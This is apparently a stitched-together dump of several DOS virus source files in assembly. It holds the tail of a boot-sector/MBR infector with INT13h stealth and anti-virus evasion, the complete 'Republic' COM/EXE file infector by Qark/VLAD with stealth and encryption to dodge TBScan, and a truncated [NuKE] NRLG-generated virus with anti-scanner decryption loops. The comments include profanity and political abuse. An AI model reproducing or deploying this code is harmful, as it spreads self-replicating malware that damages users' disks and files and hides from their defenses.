MOV BX,0200 ;Set disk I/O buffer offset.
MOV CL,09 ;Track 0, sector 9.
MOV B[OFFSET SECTOR-0200],CL ;Store destination sector number in VIRUS_BOOT.
INT 013 ;Move VIRUS_DIR to sector 09h and original MBR
;to sector 0Ah.
JB >B5 ;Exit if flag=failure and do not steal INT13h.
;
;Copy partition table data to VIRUS_BOOT.
;
MOV SI,PARTITION_OFFSET+0400 ;Set source offset.
MOV DI,PARTITION_OFFSET ;Set destination offset.
MOV CL,021 ;Set repetition count (# of words) move.
CLD ;Clear direction flag (fwd).
REP MOVSW ;Move partition table to virus.
;
;Write VIRUS_BOOT to MBR and exit without installing virus in memory. Subsequent HD boot will
;do this.
;
MOV AX,0301 ;Select write-1-sector function.
XOR BX,BX ;Set disk I/O buffer offset.
MOV CL,01 ;Track 0, sector 1.
INT 013 ;Write virus w/attached partition table to MBR.
B5:
XOR DX,DX ;Restore DX back to value at floppy boot
;(head 0, drive 0).
RETF ;Exit, do not steal INT13h or reduce mem. size.
;Return to boot sector code at 0000:7C00h.
;
;Steal BIOS INT13h vector and reduce memory size to install virus as TSR.
;
B6:
MOV BX,W[OFFSET REENTRY_SEGMENT-0200] ;Load VIRUS_DIR segment value to BX.
XOR AX,AX ;Zero AX.
MOV DS,AX ;Zero DS.
MOV W[BIOS13_SEGMENT],BX ;Point INT13h vector to VIRUS_DIR
;segment.
MOV W[BIOS13_OFFSET],OFFSET VIRUS_INT-0200 ;Point INT13h vector to VIRUS_INT
;INT13h handler offset in VIRUS_DIR.
MOV BX,MEM_SIZE ;Load BIOS data table address for
;memory size to BX.
SUB W[BX],02 ;Reduce memory by 2KB to protect virus
;area from being overwritten by other
;programs.
RETF ;Return to boot sector code at
;0000:7C00h.
;
;Reserve storage locations for virus data and preset some known values.
;
BIOS_OFFSET DW ? ;BIOS INT13 offset.
BIOS_SEGMENT DW ? ;BIOS INT13 segment.
REENTRY_OFFSET DW NEW_LOCATION-0200 ;Virus reentry offset.
REENTRY_SEGMENT DW ? ;Virus reentry segment.
INFECT_TAG1 DW INF_TAG1 ;Infection tag for VIRUS_BOOT.
SECTOR DB 09 ;Sector # containing VIRUS_DIR.
;
VIRUS_BOOT_END:
;
;Reserve end-of-sector text area and establish valid boot record tag.
;
DB 195 DUP 00 ;End-of-sector pad bytes.
DB 055,0AA ;Boot record tag.
;
SECTOR_END:
;
;End of boot sector/MBR viral code.
;----------------------------------------------------------------------------------------------
;Start of directory sector viral code.
;
VIRUS_DIR:
;
;Create four empty root directory entries at the beginning of the sector.
;
DB 128 DUP 00
;
;--------------
;INT13h Handler
;--------------
;
VIRUS_INT:
;
CMP DL,080 ;Hard drive I/O?
JNE >F1 ;No, exit to floppy test routine.
;
;Stealth routine to return original, uninfected MBR to any anti-viral scan program. Also,
;prevents writes to the MBR to prevent disinfection of the fixed disk while the virus is
;active in memory.
;
CMP CX,0001 ;Track 0, sector 1?
JNE >U1 ;If not, no need for the stealth routine.
;Instead, jump to infect. count. update.
CMP DH,00 ;Head 0?
JNE >E2 ;If not, exit stealth routine.
CMP AH,03 ;Write sector?
JE >S1 ;Yes, simulate I/O.
PUSH CX ;Preserve CX (track/sector #).
MOV CL,0A ;Redirect I/O to sector 0Ah, the new location
;of the original MBR.
PUSHF
CS CALL D[OFFSET BIOS_OFFSET-0200] ;Send scan program original MBR
;instead of infected MBR.
POP CX ;Restore original track/sector value requested
;the calling routine. Anti-viral scanner will
;monitor the contents of CL upon return.
S1:
XOR AH,AH ;Zero AH to simulate return value of
;successful I/O.
CLC ;Clear carry flag to simulate successful I/O
;to calling routine.
RETF 2 ;Return to calling routine.
;
;Infection counter update routine writes VIRUS_DIR containing the lastest floppy infection
;counter value to the hard drive only if there has been a diskette infection since the last
;hard drive access.
;
U1:
PUSH DS ;Preserve DS.
PUSH CS
POP DS ;Set DS=CS
CMP B[OFFSET UPDATE_FLAG-0200],SET ;Floppy infected since last HD access?
JNE >U2 ;No, exit counter update routine.
MOV B[OFFSET UPDATE_FLAG-0200],CLEAR ;Yes, clear floppy infect flag.
PUSH ES ;Preserve ES.
PUSH CS
POP ES ;Set ES=CS
PUSH AX ;Preserve registers.
PUSH BX
PUSH CX
PUSH DX
MOV AX,0301 ;Select write-1-sector function.
MOV BX,0200 ;Set disk I/O buffer start address.
MOV CX,0009 ;Specify track 0, sector 9.
MOV DH,00 ;Specify head 0.
PUSHF
CS CALL D[OFFSET BIOS_OFFSET-0200] ;Save VIRUS_DIR w/new infect. count to HD.
POP DX ;Restore registers
POP CX
POP BX
POP AX
POP ES
U2:
POP DS
JMP >E2 ;Exit to handler exit.
;
;Check the INT13h register values for drive A or B read or write request. This prevents
;problems caused by the virus infecting a diskette during format. Also, by limiting infection
;attempts to the first two floppy drives, it avoids the problems it would cause to a tape
;backup system emulating a third or fourth floppy drive.
;
F1:
PUSH DS ;Preserve DS.
PUSH AX ;Preserve AX.
CMP DL,01 ;Floppy I/O (A or B)?
JA >E1 ;No, don't infect.
CMP AH,02 ;Check for read function.
JB >E1 ;Exit if below read function.
CMP AH,03 ;Check for write function.
JA >E1 ;Exit if above write function.
;
;Check diskette motor status to limit infection attempt to first INT13h call thereby preventing
;suspicious floppy drive noises.
;
XOR AX,AX ;Zero AX.
MOV DS,AX ;Zero DS.
MOV AL,DL ;Move motor-on test bit into AL.
INC AL ;Position bit for floppy 'DL'.
TEST B[MOTOR_ON],AL ;Test for floppy motor on.
JNE >E1 ;Yes, don't infect.
;
;Check for presence of TSR anti-viral monitoring program to avoid detection of boot sector
;write by virus. If present, don't attempt infection.
;
CMP B[BIOS40_SEGMENT],ROM_SEGMENT ;Has INT40h been stolen from BIOS ROM by an
;anti-virus program?
JB >E1 ;If so, do not attempt infection.
;
;Infect floppy.
;
POP AX ;Restore AX.
POP DS ;Restore DS.
PUSHF
CS CALL D[OFFSET BIOS_OFFSET-0200] ;Give calling routine what it wants.
PUSHF ;Preserve flags.
CALL >F2 ;Then attempt infection.
POPF ;Restore flags to hide I/O errors.
RETF 2 ;Return to calling routine.
;
;Jump to BIOS.
;
E1:
POP AX ;Restore AX.
POP DS ;Restore DS.
E2:
CS JMP D[OFFSET BIOS_OFFSET-0200] ;Jump through BIOS to calling routine.
;
;Diskette infection routine.
;
F2:
PUSH AX ;Preserve all registers.
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
;
;Check system type to determine if the INT1Ah read-real-time-clock function is supported (AT
;or better). If not, skip the date check/storage process and store floppy infection "BAD"
;date tag in VIRUS_DIR.
;
MOV AX,SYS_ID_SEGMENT
MOV DS,AX ;Set DS to ROM offset.
CMP B[SYS_ID_OFFSET],AT_TAG ;Check system ID byte for AT system tag.
PUSH CS
POP DS ;Set DS to point to dropper segment.
JE >F3 ;If AT, check date and store before infection.
MOV W[OFFSET FLOPPY_MODAY-0200],BAD_TAG ;Store date "BAD" tag in VIRUS_DIR.
JMP >F4 ;Then continue infection process.
;
;Store month, day and year of pending floppy diskette infection in VIRUS_DIR.
;
F3:
PUSH DX
MOV AH,04 ;Set read-date function.
INT 01A ;BIOS read-clock interrupt.
MOV W[OFFSET FLOPPY_YEAR-0200],CX ;Store infection year in VIRUS_DIR.
MOV W[OFFSET FLOPPY_MODAY-0200],DX ;Store month and day in VIRUS_DIR.
;
;Store time of pending floppy diskette infection in VIRUS_DIR.
;
MOV AH,02 ;Select read-time function.
INT 01A ;BIOS read-clock interrupt.
MOV W[OFFSET FLOPPY_TIME-0200],CX ;Store infection hour and minute in VIRUS_DIR.
POP DX
;
;Load diskette boot sector to top of memory - 1KB.
;
F4:
PUSH CS
POP ES ;Set ES=CS.
MOV AX,0201 ;Select read-1-sector function.
MOV BX,0400 ;Set disk I/O buffer offset.
MOV CX,0001 ;Track 0, sector 1.
MOV DH,00 ;Head 0, drive DL.
PUSHF
CALL D[OFFSET BIOS_OFFSET-0200] ;Read drive DL boot sector to buffer by
;calling INT13h routine in BIOS ROM.
JNB >F5 ;Proceed with infection if flag=success.
JMP F7 ;Otherwise, exit.
;
;Check diskette boot sector for infection.
;
F5:
CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check for VIRUS_BOOT infection tag.
JE >F7 ;If infected, then exit.
;
;Determine diskette type from BPB data to allow VIRUS_DIR and original boot sector to be
;written to the last two root directory sectors. This maximizes the number of files that can
;be stored on the diskette after infection. Also, detect non-standard formats and do not
;infect to prevent damage.
;
MOV CL,02 ;VIRUS_DIR sector for 360K.
MOV AX,W[BX+BPB_NUM_SECT] ;Load # sect. on floppy from BPB.
CMP AX,02D0 ;Check for # sectors on 360K.
JE >F6 ;Exit if 360K floppy.
MOV CL,04 ;VIRUS_DIR sector for 720K.
CMP AX,05A0 ;Check for # sectors on 720K.
JE >F6 ;Exit if 720K floppy.
MOV CL,0D ;VIRUS_DIR sector for 1.2M.
CMP AX,0960 ;Check for # sectors on 1.2M.
JE >F6 ;Exit if 1.2M floppy.
MOV CL,0E ;VIRUS_DIR sector for 1.44M.
CMP AX,0B40 ;Check for # sectors on 1.44M.
JE >F6 ;Exit if 1.44M floppy.
JMP >F7 ;Non-standard disk format, exit to avoid
;damage.
;
;Load the first of the two root directory sectors that will be used to store the VIRUS_DIR
;and original boot sector to top of memory - 0.5KB.
;
F6:
MOV B[OFFSET SECTOR-0200],CL ;Store destination sector # in VIRUS_BOOT.
MOV AX,0201 ;Select read sector function.
MOV BX,0600 ;Set disk I/O buffer offset.
INC DH ;Head 1, drive DL.
PUSHF
CALL D[OFFSET BIOS_OFFSET-0200] ;Load destination sector.
JB >F7 ;Exit if flag=failure.
;
;Confirm that the directory sector chosen to be the future location of VIRUS_DIR is empty
;before attempting infection. This prevents the loss of files which would result from
;the overwriting of root directory entries by the virus.
;
CMP B[BX],00 ;Empty root directory entry?
JNE >F7 ;No, so exit and don't infect disk.
;
;Copy the original boot sector's BPB to VIRUS_BOOT to allow functional infection of any
;diskette type.
;
MOV SI,BPB_START+0200 ;Set source offset.
MOV DI,BPB_START-0200 ;Set destination offset.
MOV CL,BPB_END-BPB_START ;Set repetition count (# of bytes) for move.
CLD ;Clear direction flag (fwd).
REP MOVSB ;Move BPB to virus to allow functional
;infection of any diskette format.
;
;Copy original boot sector end-of-sector text to VIRUS_BOOT to prevent easily visible changes
;to boot sector.
;
MOV SI,VIRUS_BOOT_END+0200 ;Set source offset.
MOV DI,VIRUS_BOOT_END-0200 ;Set destination offset.
MOV CL,SECTOR_END-VIRUS_BOOT_END ;Set repetition count (number of bytes) for
;text move.
CLD ;Clear direction flag (fwd).
REP MOVSB ;Move end-of-sector text to virus to prevent
;easily visible change to boot sector.
;
;Write VIRUS_BOOT to diskette boot sector.
;
MOV AX,0301 ;Select write-1-sector function.
XOR BX,BX ;Set disk I/O buffer offset.
MOV CL,01 ;Track 0, sector 1.
DEC DH ;Head 0, drive DL.
PUSHF
CALL D[OFFSET BIOS_OFFSET-0200] ;Write infected boot sector.
JB >F7 ;Exit if flag=failure.
;
;Increment floppy infection count.
;
INC W[OFFSET FLOPPY_COUNT-0200]
;
;Clear diskette infection flag.
;
MOV B[OFFSET UPDATE_FLAG-0200],CLEAR
;
;Write VIRUS_DIR and original boot sector to appropriate sectors.
;
MOV AX,0302 ;Select write-2-sectors function.
MOV BX,0200 ;Set disk I/O buffer offset.
MOV CL,B[OFFSET SECTOR-0200] ;Track 0, sector stored at 0189h.
INC DH ;Head 1, drive DL.
PUSHF
CALL D[OFFSET BIOS_OFFSET-0200] ;Relocate boot sector.
;
;Set diskette infection flag.
;
MOV B[OFFSET UPDATE_FLAG-0200],SET
;
;Exit diskette infection routine.
;
F7:
POP DI ;Restore all registers.
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
RET ;Return to infection routine exit.
;
;Virus data area.
;
HARD_COUNT DW ? ;Number of HD infections since drop.
DROP_MODAY DW ? ;Month and day of HD drop.
DROP_YEAR DW ? ;Year of HD drop.
DROP_TIME DW ? ;Time of HD drop.
FLOPPY_COUNT DW ? ;Number of floppy infections since drop.
FLOPPY_MODAY DW ? ;Month and day of last floppy infection.
FLOPPY_YEAR DW ? ;Year of last floppy infection.
FLOPPY_TIME DW ? ;Time of last floppy infection.
INFECT_TAG2 DW INF_TAG2 ;Infection tag for VIRUS_DIR.
UPDATE_FLAG DB CLEAR ;Flag indicating floppy infection since last
;HD access.
;
DB 3 DUP 00 ;End-of-sector pad bytes.
;
;End of directory sector viral code.
;----------------------------------------------------------------------------------------------
;Start of MBR disk buffer.
;
MBR_BUFFER:
;
;----------------------------------------------------------------------------------------------
;
CODE ENDS

@ -0,0 +1,830 @@
; REPUBLIC!
; +-------+ Qark/VLAD
;
;
; This virus is named because I (and metabolis) support a republic for
; Australia. Fuck the Union Jack off from our flag... we want something
; Australian in there... and an Australian head of state not some pommy
; bitch Queen and her corgis.
;
; A funny thing: I wrote a full-on MTE/TPE/DAME type polymorphic engine
; for this virus, but TBScan found it every time! But when i do the
; shitty XOR routine that's at the end, TBScan hardly finds anything!
; TBAV can be proud of it's capabilites with polymorphism, but for
; basic encryption it's a big thumbs down...
;
; Stats:
; - Disinfect on open, Infect on close.
; - No directory filesize change
; - No findfirst filesize change
; - Some anti-debugging features
;
; Anyway, this is my best virus so far. I've come a fair way since broken,
; fucked up brother in VLAD#1 I'm sure you'll agree. I wrote this virus
; a few months ago and am better than this already.
;
; As always, the A86 assembler is my favourite :)
org 0
db 0beh ;MOV SI,xxxx
delta dw offset enc_start + 100h
cld
call encrypt
enc_start:
push cs
pop ds ;DS=CS
sub si,offset enc_end ;The polymorphism is done.
mov word ptr [si+offset quit],20cdh
quit:
mov word ptr [si+offset quit],44c7h ;The bytes changed.
push es
push si
;If I don't get a feed soon, I'll start to fade...
mov ax,0FEEDh ;Feed ?
int 21h
cmp ax,0FADEh ;Yes...
je resident ;Fade...
mov ax,es
dec ax
mov ds,ax
cmp byte ptr [0],'Z'
jne resident
sub word ptr [3],160 ;2560 bytes of memory.
sub word ptr [12h],160 ;2560 bytes off TOM.
mov bx,word ptr [12h] ;Read in the TOM.
push cs
pop ds ;DS=CS
xor ax,ax ;ES=0 (Vector Table)
mov es,ax
mov ax,word ptr es:[132] ;Get int21h.
mov word ptr [si+offset i21],ax
mov ax,word ptr es:[134] ;Get int21h segment.
mov word ptr [si+offset i21+2],ax
mov es,bx ;ES=Segment to store virus.
xor di,di ;Zero in memory.
mov cx,offset length ;The size of the virus.
rep movsb ;Move the virus.
xor ax,ax
mov ds,ax ;ES=0 (Vector Table)
mov word ptr [132],offset infection
mov [134],bx ;BX=Virus Seg I hope!
resident:
pop si ;SI=IP (Virus start)
pop es ;ES=PSP
push cs
pop ds
cmp byte ptr [si+offset com_exe],1
je exe_exit
mov ax,word ptr [si+offset old3]
mov [100h],ax
mov al,byte ptr [si+offset old3+2]
mov [102h],al
push es
pop ds
call zero_all
mov ax,100h
jmp ax
Exe_Exit:
mov ax,es ;ES=PSP
add ax,10h ;EXE file start.
add word ptr [si+jump+2],ax
call zero_all
mov sp,word ptr [si+offset orig_sp]
add ax,word ptr [si+offset orig_ss] ;Fix SS with AX.
mov ss,ax
push es
pop ds
db 0eah
jump dd 0
Message db 'Go the Republic! '
db 'Fuck off Royal Family!',0
Creator db 'Qark/VLAD of the Republic of Australia',0
Infection:
push ax
xchg al,ah
cmp ax,004bh ;Exec. Don't infect on 4B01h because
je test_inf ;debug will find it then.
cmp al,43h ;Chmod.
je test_inf
cmp al,56h ;Rename.
je test_inf
cmp al,6ch ;Open.
je dis_inf
cmp al,3dh ;Open
je dis_inf
cmp al,11h ;FCB find.
je dir_listing
cmp al,12h ;Dir listing in progress.
je dir_listing
cmp al,4eh ;Find first.
je find_file
cmp al,4fh ;Find_next.
je find_file
cmp al,3eh ;Close.
je end_infect
pop ax
cmp ax,0FEEDh
je res_check ;Testing for installation ?
jump_exit:
jmp jend ;Exit TSR
res_check:
mov ax,0FADEh ;Return parameter.
iret
dir_listing:
jmp dir_stealth
find_file:
jmp search_stealth
dis_inf:
jmp full_stealth ;Disinfect on the fly.
end_infect:
jmp close_infect
jump2_exit:
jmp far_pop_exit ;Just an exit.
test_inf:
push bx
push cx
push dx
push si
push di
push ds
push es
call check_name
jc jump2_exit
mov ax,3d00h ;Open readonly.
mov dx,di ;DX=DI=Offset length
call int21h
jc jump2_exit
mov bx,ax
call get_sft
;Test for infection.
mov ax,word ptr es:[di+0dh] ;File time into AX from SFT.
mov word ptr es:[di+2],2 ;Bypass Read only attribute.
and ax,1f1fh ;Get rid of the shit we don't need.
cmp al,ah ;Compare the seconds with minutes.
je jump2_exit
Handle_Infection:
push cs
pop es ;ES=CS
;Read the File header in to test
;for EXE or COM.
mov ah,3fh ;Read from file.
mov cx,1ch ;1C bytes.
call int21h ;DX=Offset length from file open.
;We don't need the filename anymore
;so use that space as a buffer.
mov si,dx ;SI=DX=offset length.
mov di,offset header
mov cx,18h
rep movsb ;Move header to header.
mov si,dx ;SI=DX=Offset of length.
mov ax,word ptr [si] ;=Start of COM or EXE.
add al,ah ;Add possible MZ.
cmp al,167 ;Test for MZ.
je exe_infect
jmp com_infect
EXE_infect:
mov byte ptr com_exe,1 ;Signal EXE file.
cmp word ptr [si+1ah],0 ;Test for overlays.
jne exe_close_exit ;Quick... run!!!
push si ;SI=Offset of header
add si,0eh ;SS:SP are here.
mov di,offset orig_ss
movsw ;Move them!
movsw
mov di,offset jump ;The CS:IP go in here.
lodsw ;ADD SI,2 - AX destroyed.
movsw
movsw ;Move them!
pop si
call get_sft ;ES:DI = SFT for file.
mov ax,word ptr es:[di+11h] ;File length in DX:AX.
mov dx,word ptr es:[di+13h]
mov cx,16 ;Divide by paragraphs.
div cx
sub ax,word ptr [si+8] ;Subtract headersize.
mov word ptr delta,dx ;Initial IP.
add delta,offset enc_start ;Fix for polymorphics.
mov word ptr [si+14h],dx ;IP in header.
mov word ptr [si+16h],ax ;CS in header.
add dx,offset stack_end ;Fix SS:SP for file.
mov word ptr [si+0eh],ax ;We'll make SS=CS
mov word ptr [si+10h],dx ;SP=IP+Offset of our buffer.
mov ax,word ptr es:[di+11h] ;File length in DX:AX.
mov dx,word ptr es:[di+13h]
add ax,offset length ;Add the virus length on.
adc dx,0 ;32bit
mov cx,512 ;Divide by pages.
div cx
and dx,dx
jz no_page_fix
inc ax ;One more for the partial
;page!
no_page_fix:
mov word ptr [si+4],ax ;Number of pages.
mov word ptr [si+2],dx ;Partial page.
mov word ptr es:[di+15h],0 ;Lseek to start of file.
call get_date ;Save the old time/date.
mov ah,40h ;Write header to file.
mov dx,si ;Our header buffer.
mov cx,1ch ;1CH bytes.
call int21h
jc exe_close_exit
mov ax,4202h ;End of file. Smaller than
;using SFT's.
xor cx,cx ;Zero CX
cwd ;Zero DX (If AX < 8000H then
;CWD moves zero into DX)
call int21h
call enc_setup ;Thisll encrypt it and move
;it to the end of file.
exe_close_exit:
jmp com_close_exit
com_infect:
mov byte ptr com_exe,0 ;Flag COM infection.
mov ax,word ptr [si] ;Save COM files first 3 bytes.
mov word ptr old3,ax
mov al,[si+2]
mov byte ptr old3+2,al
call get_sft ;SFT is at ES:DI
mov ax,es:[di+11h] ;AX=File Size
cmp ax,64000
ja com_close_exit ;Too big.
cmp ax,1000
jb com_close_exit ;Too small.
push ax ;Save filesize.
mov newoff,ax ;For the new jump.
sub newoff,3 ;Fix the jump.
mov word ptr es:[di+15h],0 ;Lseek to start of file :)
call get_date ;Save original file date.
mov ah,40h
mov cx,3
mov dx,offset new3 ;Write the virus jump to start of
call int21h ;file.
pop ax ;Restore file size.
jc com_close_exit ;If an error occurred... exit.
mov word ptr es:[di+15h],ax ;Lseek to end of file.
add ax,offset enc_start + 100h ;File size + 100h.
mov word ptr delta,ax ;The delta offset for COM files.
call enc_setup
com_close_exit:
mov ah,3eh
call int21h
far_pop_exit:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jend:
db 0eah ;Opcode for jmpf
i21 dd 0
int21h proc near ;Our int 21h
pushf
call dword ptr cs:[i21]
ret
int21h endp
close_infect:
cmp bl,4
ja good_handle
pop ax
jmp jend
Good_Handle:
push bx ;Save the original registers.
push cx
push dx
push si
push di
push ds
push es
call get_sft ;ES:DI = SFT
mov ax,word ptr es:[di+0dh] ;AX=Time
and ax,1f1fh ;Shit we don't need.
cmp al,ah ;AL=AH means infected.
je far_pop_exit
mov dx,offset length
push cs
pop ds
mov word ptr es:[di+2],2 ;Read/Write mode.
mov word ptr es:[di+15h],0 ;Zero file pointer.
mov word ptr es:[di+17h],0 ;Zero file pointer.
add di,28h ;ES:DI=Extension
cmp word ptr es:[di],'OC'
je close_com
cmp word ptr es:[di],'XE'
jne far_pop_exit
Close_Exe:
inc di
inc di
cmp byte ptr es:[di],'E'
jne far_pop_exit
jmp handle_infection
Close_Com:
cmp byte ptr es:[di+2],'M'
jne far_pop_exit
jmp handle_infection
;-------
Full_Stealth:
push bx
push cx
push dx
push si
push di
push ds
push es
cmp al,6ch
jne stealth_6c
mov dx,si
stealth_6c:
call check_name
jnc do_stealth
Stealth_end:
jmp far_pop_exit
Do_Stealth:
mov ax,3d00h
mov dx,di
call int21h
jc stealth_end
mov bx,ax ;BX=filehandle
call get_sft
;ES:DI=SFT
mov ax,word ptr es:[di+0dh] ;File time into AX from SFT.
mov word ptr es:[di+2],2 ;Bypass Read only attribute.
and ax,1f1fh ;Get rid of the shit we don't need.
cmp al,ah ;Compare the seconds with minutes.
jne stealth_end ;Not infected...
mov ax,word ptr es:[di+11h] ;File size.
mov dx,word ptr es:[di+13h]
push dx
push ax
sub ax,1ch ;Header+time+date = 1ch
sbb dx,0
mov word ptr es:[di+15h],ax ;File pointer.
mov word ptr es:[di+17h],dx
mov ah,3fh
mov dx,offset header ;Read in header.
mov cx,1ch
call int21h
pop ax
pop dx ;DX:AX=length of file
sub ax,offset length ;EOF - length.
sbb dx,0
mov word ptr es:[di+15h],ax
mov word ptr es:[di+17h],dx
mov ah,40h ;Truncate virus off.
xor cx,cx
call int21h
jc stealth_end
mov word ptr es:[di+15h],0 ;Start of file
mov word ptr es:[di+17h],0
mov ah,40h
mov dx,offset header
mov cx,18h
call int21h ;Write original header back.
mov cx,word ptr time
mov dx,word ptr date
mov ax,5701h ;Put original time/date back.
call int21h
mov ah,3eh ;Close file.
call int21h
jmp stealth_end
Check_Name proc near
;Entry:
;DS:DX=Filename
;
;Exit:
;Carry if bad name.
;DS=ES=CS
;AX is fucked.
;SI = File Extension Somewhere.
;DI = Offset length.
mov si,dx ;DS:SI = Filename.
push cs
pop es ;ES=CS
mov ah,60h ;Get qualified filename.
mov di,offset length ;DI=Buffer for filename.
call int21h ;This converts it to uppercase too!
;CS:LENGTH = Filename in uppercase
;with path and drive. Much easier
;to handle now!
push cs
pop ds ;DS=CS
mov si,di ;SI=DI=Offset Length
cld ;Forward!
find_ascii_z:
lodsb
cmp al,0
jne find_ascii_z
sub si,4 ;Points to the file extension. 'EXE'
lodsw ;Mov AX,DS:[SI]
cmp ax,'XE' ;The 'EX' out of 'EXE'
jne test_com
lodsb ;Mov AL,DS:[SI]
cmp al,'E' ;The last 'E' in 'EXE'
jne Bad_Name
jmp do_file ;EXE-file
test_com:
cmp ax,'OC' ;The 'CO' out of 'COM'
jne Bad_Name
lodsb ;Mov AL,DS:[SI]
cmp al,'M'
je do_file ;COM-file
Bad_Name:
stc
ret
do_file:
clc
ret
Check_Name endp
Search_Stealth:
pop ax ;Restore AX.
call int21h
jc end_search
push es
push bx
push si
mov ah,2fh
call int21h
mov si,bx
mov bx,word ptr es:[si+16h]
and bx,1f1fh
cmp bl,bh
jne search_pop ;Is our marker set ?
sub word ptr es:[si+1ah],offset length ;Subtract the file length.
sbb word ptr es:[si+1ch],0
search_pop:
pop si
pop bx
pop es
clc
end_search:
retf 2 ;This is the same as an IRET
;except that the flags aren't popped
;off so our Carry Remains set.
Dir_Stealth:
;This bit means that wen you do a 'dir' there is no change in
;file size.
pop ax
call int21h ;Call the interrupt
cmp al,0 ;straight off.
jne end_of_dir
push es
push ax ;Save em.
push bx
push si
mov ah,2fh ;Get DTA address.
call int21h
mov si,bx
cmp byte ptr es:[si],0ffh ;Extended FCB ?
jne not_extended
add si,7 ;Add the extra's.
not_extended:
mov bx,word ptr es:[si+17h] ;Move time.
and bx,1f1fh
cmp bl,bh
jne dir_pop ;Is our marker set ?
sub word ptr es:[si+1dh],offset length ;Subtract the file length.
sbb word ptr es:[si+1fh],0
dir_pop:
pop si
pop bx
pop ax
pop es
end_of_dir:
iret
Get_Date proc near
mov ax,5700h ;Get Date/Time.
call int21h
mov word ptr time,cx
mov word ptr date,dx
ret
Get_date endp
Set_Marker proc near
mov cx,time
mov al,ch
and al,1fh
and cl,0e0h
or cl,al
mov dx,date
mov ax,5701h
call int21h
ret
Set_marker endp
Enc_Setup proc near
push cs
pop es
in al,40h
mov byte ptr cs:cipher,al
xor si,si
mov di,offset length ;Offset of our buffer.
mov cx,offset length ;Virus Length.
rep movsb ;Move the virus up in memory for
;encryption.
mov si,offset length + offset enc_start
call encrypt ;Encrypt virus.
mov ah,40h ;Write virus to file
mov dx,offset length ;Buffer for encrypted virus.
mov cx,offset length ;Virus length.
call int21h
call set_marker ;Mark file as infected.
ret
Enc_setup endp
Get_SFT Proc Near
;Entry: BX=File Handle.
;Exit: ES:DI=SFT.
push bx
mov ax,1220h ;Get Job File Table Entry. The byte pointed
int 2fh ;at by ES:[DI] contains the number of the
;SFT for the file handle.
xor bx,bx
mov bl,es:[di] ;Get address of System File Table Entry.
mov ax,1216h
int 2fh
pop bx
ret
Get_SFT EndP
Zero_All proc near
;Zero's everything cept AX.
xor bx,bx ;Zero BX
mov cx,bx
mov dx,bx
mov di,bx
ret
Zero_All endp
New3 db 0e9h ;The jump for the start of
Newoff dw 0 ;COM files.
orig_ss dw 0
orig_sp dw 0
com_exe db 0
old3 db 0cdh,20h,90h
enc_end: ;Encryption ends here.
; QaRK's |<-RaD TBSCaN eVaDeR!!!!!111
; Works every time :)
encrypt proc near
;Si = enc_start
mov cx,offset enc_end - offset enc_start
db 0b0h ;=MOV AL,xx
cipher db 0
enc_loop:
ror al,1
neg al
xor cs:[si],al ;<--- Whoah! Never guess this was encryption!
add al,al
inc si
loop enc_loop
ret
Encrypt endp
header db 18h dup (0) ;rewrite this
time dw 0 ;restore this
date dw 0
length db 200 dup (0)
stack_end:

@ -0,0 +1,443 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿinc word ptr [di]
inc byte ptr [di]
add word ptr [di],0e6e9h
sub byte ptr [di],01fh
add byte ptr [di],05fh
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿ;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
